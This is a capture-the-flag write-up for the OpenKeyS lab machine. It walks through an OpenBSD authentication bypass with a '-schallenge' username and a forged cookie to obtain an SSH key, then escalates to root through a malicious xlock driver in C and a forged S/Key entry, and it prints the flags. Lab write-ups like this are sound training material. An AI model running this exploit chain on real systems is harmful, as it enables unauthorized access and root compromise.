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OpenKeyS
=================
|  OPENKEYS 10.10.10.199 |
=================

InfoGathering

SCOPE

SERVICES

SSH
[*] SSH-2.0-OpenSSH_8.1
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HTTP
LOGIN PAGE: http://10.10.10.199/index.php

FUZZ RESULTS
css                     [Status: 200, Size: 697, Words: 215, Lines: 23]
fonts                   [Status: 200, Size: 1066, Words: 385, Lines: 26]
index.php               [Status: 200, Size: 4837, Words: 110, Lines: 102]
images                  [Status: 200, Size: 589, Words: 160, Lines: 22]
index.html              [Status: 200, Size: 96, Words: 13, Lines: 7]
includes                [Status: 200, Size: 711, Words: 211, Lines: 23]
js                      [Status: 200, Size: 582, Words: 156, Lines: 22]
vendor                  [Status: 200, Size: 1522, Words: 635, Lines: 30]

FOUND ROOT WEB DIRECTORY ON TARGET
SOURCE: http://10.10.10.199/includes/auth.php.swp

USERNAME: jennifer@openkeys.htb
ROOT WEB DIR: /var/www/htdocs

SCREENSHOT EVIDENCE OF USERNAME AND ROOT WEB DIR

I downloaded this file and used strings to read it
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wget http://10.10.10.199/includes/auth.php.swp
strings auth.php.swp

Reading the file I discovered another file location at
http://10.10.10.199/includes/../auth_helpers/check_auth 

SCREENSHOT EVIDENCE OF CHECK_AUTH LOCATION

Gaining Access
From the information gathered above I know OpenBSD is being used to host the web server. I was also able to view the 
authentication function used.
THe libc module in OpenBSD 6.6 is vulnerable to an authentication bypass vulnerability that uses -schallenge in the username 
field to define an option that bypass es authentication
REFERENCE: https://seclists.org/bugtraq/2019/Dec/8

LOGIN PAGE: http://10.10.10.199/login.php
USER: -schallenge
PASS: whatever

After signing in the site redirects to http://10.10.10.199/sshkey.php

SCREENSHOT OF BURP REQUEST

SCREENSHOT EVIDENCE OF AUTHENTICATION BYPASS
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The message on the page is looking for an SSH key for the username ‘-schallenge’ 
I will need to make a modificaiton to the cookie if I wish to return the key for the user Jennifer I discovered earlier

I modified the cookie using a firefox cookie manager extension and created an entry called username and gave it a value of 
jennifer

SCREENSHOT EVIDENCE OF COOKIE

I then signed into the login page again using the authentication bypass which returned the SSH key

SCREENSHOT EVIDENCE OF EXPOSED SSH KEY
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I placed the key into a file and used it to access the target

CONTENTS OF jennifer.key
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-----BEGIN OPENSSH PRIVATE KEY-----=
-----END OPENSSH PRIVATE KEY-----

SSH into the target

chmod 600 jennifer.key
ssh -p 22 -i jennifer.key jennifer@openkeys.htb

SCREENSHOT EVIDENCE OF ACCESSED TARGET
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I was then able to read the user flag

cat /home/jennifer/user.txt
# RESULTS
36ab21239a15c537bde90626891d2b10

SCREENSHOT EVIDENCE OF USER FLAG
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USER FLAG: 36ab21239a15c537bde90626891d2b10

PrivEsc
Using the same CVE as discovered earlier I was able to obtain privesc.

/usr/X11R6/bin/xlock is installed by default on OpenBSD 
The xlock command has isset-group-ID "auth" as opposed to the now set-user-ID
This means the authentication check is therefore incomplete and it should use issetugid() to correct the issue. This can be 
seen in the vulnerable code below

# VULNERABLE CODE
101 _X_HIDDEN void *
102 driOpenDriver(const char *driverName)
103 {
...
113    if (geteuid() == getuid()) {
114  /* don't allow setuid apps to use LIBGL_DRIVERS_PATH */
115       libPaths = getenv("LIBGL_DRIVERS_PATH")

A local attacker can exploit this vulnerability and dlopen() their owndriver to obtain the privileges of the group "auth"

Using the below reference I performed the attack
RESOURCE: https://www.qualys.com/2019/12/04/cve-2019-19521/authentication-vulnerabilities-openbsd.txt

CONTENTS OF swrast_dri.c 

#include <paths.h>
#include <sys/types.h>
#include <unistd.h>

static void __attribute__ ((constructor)) _init (void) {
    gid_t rgid, egid, sgid;
    if (getresgid(&rgid, &egid, &sgid) != 0) _exit(__LINE__);
    if (setresgid(sgid, sgid, sgid) != 0) _exit(__LINE__);
    
    char * const argv[] = { _PATH_KSHELL, NULL };
    execve(argv[0], argv, NULL);
    _exit(__LINE__);
}

I built this file using a new cool trick I learned from the CVE paper

# Execute below command to create a build as you go file
cat > swrast_dri.c << "EOF"
################ ENTER CONTENTS OF FILE BELOW #############
#include <paths.h>
#include <sys/types.h>
#include <unistd.h>

static void __attribute__ ((constructor)) _init (void) {
    gid_t rgid, egid, sgid;
    if (getresgid(&rgid, &egid, &sgid) != 0) _exit(__LINE__);
    if (setresgid(sgid, sgid, sgid) != 0) _exit(__LINE__);
    
    char * const argv[] = { _PATH_KSHELL, NULL };
    execve(argv[0], argv, NULL);
    _exit(__LINE__);
}
EOF
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I then compiled the malicious driver

gcc -fpic -shared -s -o swrast_dri.so swrast_dri.c

Once the exploit was compiled I modified the environment to exploit the vulnerability

# Modify a env variables from inside an empty environment slicing the value needed
env -i /usr/X11R6/bin/Xvfb :66 -cc 0 &
env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display :66

# Now using CVE-2019-19522 I can use SKey to upgrade my permissions
echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root

# Assign required file permissions and use the newly created key
chmod 0600 /etc/skey/root
env -i TERM=vt220 su -l -a skey

# Instead of entering the password for root I enter the recovery key for the OTP
EGG LARD GROW HOG DRAG LAIN

SCREENSHOT EVIDENCE OF PRIVILEGE ESCALATION
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I was then able to read the root flag

cat /root/root.txt
# RESULTS
f3a553b1697050ae885e7c02dbfc6efa

SCREENSHOT EVIDENCE OF ROOT FLAG
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ROOT FLAG: f3a553b1697050ae885e7c02dbfc6efa


